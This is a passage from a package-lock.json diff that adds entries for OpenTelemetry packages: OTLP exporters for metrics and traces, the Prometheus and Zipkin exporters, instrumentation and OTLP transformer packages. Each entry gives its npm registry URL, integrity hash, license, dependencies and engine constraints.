"^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-grpc/-/exporter-metrics-otlp-grpc-0.211.0.tgz", + "integrity": "sha512-D/U3G8L4PzZp8ot5hX9wpgbTymgtLZCiwR7heMe4LsbGV4OdctS1nfyvaQHLT6CiGZ6FjKc1Vk9s6kbo9SWLXQ==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.7.1", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/exporter-metrics-otlp-http": "0.211.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-metrics": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-grpc/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", + "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-http/-/exporter-metrics-otlp-http-0.211.0.tgz", + "integrity": "sha512-lfHXElPAoDSPpPO59DJdN5FLUnwi1wxluLTWQDayqrSPfWRnluzxRhD+g7rF8wbj1qCz0sdqABl//ug1IZyWvA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-metrics": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-http/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", + "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-metrics-otlp-proto/-/exporter-metrics-otlp-proto-0.211.0.tgz", + "integrity": "sha512-61iNbffEpyZv/abHaz3BQM3zUtA2kVIDBM+0dS9RK68ML0QFLRGYa50xVMn2PYMToyfszEPEgFC3ypGae2z8FA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/exporter-metrics-otlp-http": "0.211.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-metrics": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-metrics-otlp-proto/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", + "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-prometheus/-/exporter-prometheus-0.211.0.tgz", + "integrity": "sha512-cD0WleEL3TPqJbvxwz5MVdVJ82H8jl8mvMad4bNU24cB5SH2mRW5aMLDTuV4614ll46R//R3RMmci26mc2L99g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-metrics": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-prometheus/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.5.0.tgz", + "integrity": "sha512-BeJLtU+f5Gf905cJX9vXFQorAr6TAfK3SPvTFqP+scfIpDQEJfRaGJWta7sJgP+m4dNtBf9y3yvBKVAZZtJQVA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-grpc/-/exporter-trace-otlp-grpc-0.211.0.tgz", + "integrity": "sha512-eFwx4Gvu6LaEiE1rOd4ypgAiWEdZu7Qzm2QNN2nJqPW1XDeAVH1eNwVcVQl+QK9HR/JCDZ78PZgD7xD/DBDqbw==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.7.1", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-grpc/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-http": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.211.0.tgz", + "integrity": "sha512-F1Rv3JeMkgS//xdVjbQMrI3+26e5SXC7vXA6trx8SWEA0OUhw4JHB+qeHtH0fJn46eFItrYbL5m8j4qi9Sfaxw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-http/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-proto/-/exporter-trace-otlp-proto-0.211.0.tgz", + "integrity": "sha512-DkjXwbPiqpcPlycUojzG2RmR0/SIK8Gi9qWO9znNvSqgzrnAIE9x2n6yPfpZ+kWHZGafvsvA1lVXucTyyQa5Kg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-trace-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-zipkin/-/exporter-zipkin-2.5.0.tgz", + "integrity": "sha512-bk9VJgFgUAzkZzU8ZyXBSWiUGLOM3mZEgKJ1+jsZclhRnAoDNf+YBdq+G9R3cP0+TKjjWad+vVrY/bE/vRR9lA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.0.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-zipkin/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/instrumentation": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation/-/instrumentation-0.211.0.tgz", + "integrity": "sha512-h0nrZEC/zvI994nhg7EgQ8URIHt0uDTwN90r3qQUdZORS455bbx+YebnGeEuFghUT0HlJSrLF4iHw67f+odY+Q==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.211.0", + "import-in-the-middle": "^2.0.0", + "require-in-the-middle": "^8.0.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/instrumentation-http": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/instrumentation-http/-/instrumentation-http-0.211.0.tgz", + "integrity": "sha512-n0IaQ6oVll9PP84SjbOCwDjaJasWRHi6BLsbMLiT6tNj7QbVOkuA5sk/EfZczwI0j5uTKl1awQPivO/ldVtsqA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/instrumentation": "0.211.0", + "@opentelemetry/semantic-conventions": "^1.29.0", + "forwarded-parse": "2.1.2" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/instrumentation-http/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-exporter-base": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.211.0.tgz", + "integrity": "sha512-bp1+63V8WPV+bRI9EQG6E9YID1LIHYSZVbp7f+44g9tRzCq+rtw/o4fpL5PC31adcUsFiz/oN0MdLISSrZDdrg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-transformer": "0.211.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-exporter-base/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-grpc-exporter-base/-/otlp-grpc-exporter-base-0.211.0.tgz", + "integrity": "sha512-mR5X+N4SuphJeb7/K7y0JNMC8N1mB6gEtjyTLv+TSAhl0ZxNQzpSKP8S5Opk90fhAqVYD4R0SQSAirEBlH1KSA==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.7.1", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-grpc-exporter-base/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.211.0.tgz", + "integrity": "sha512-julhCJ9dXwkOg9svuuYqqjXLhVaUgyUvO2hWbTxwjvLXX2rG3VtAaB0SzxMnGTuoCZizBT7Xqqm2V7+ggrfCXA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.211.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-logs": "0.211.0", + "@opentelemetry/sdk-metrics": "2.5.0", + "@opentelemetry/sdk-trace-base": "2.5.0", + "protobufjs": "8.0.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/otlp-transformer/node_modules/@opentelemetry/sdk-metrics": { + "version": "2.5.0", + 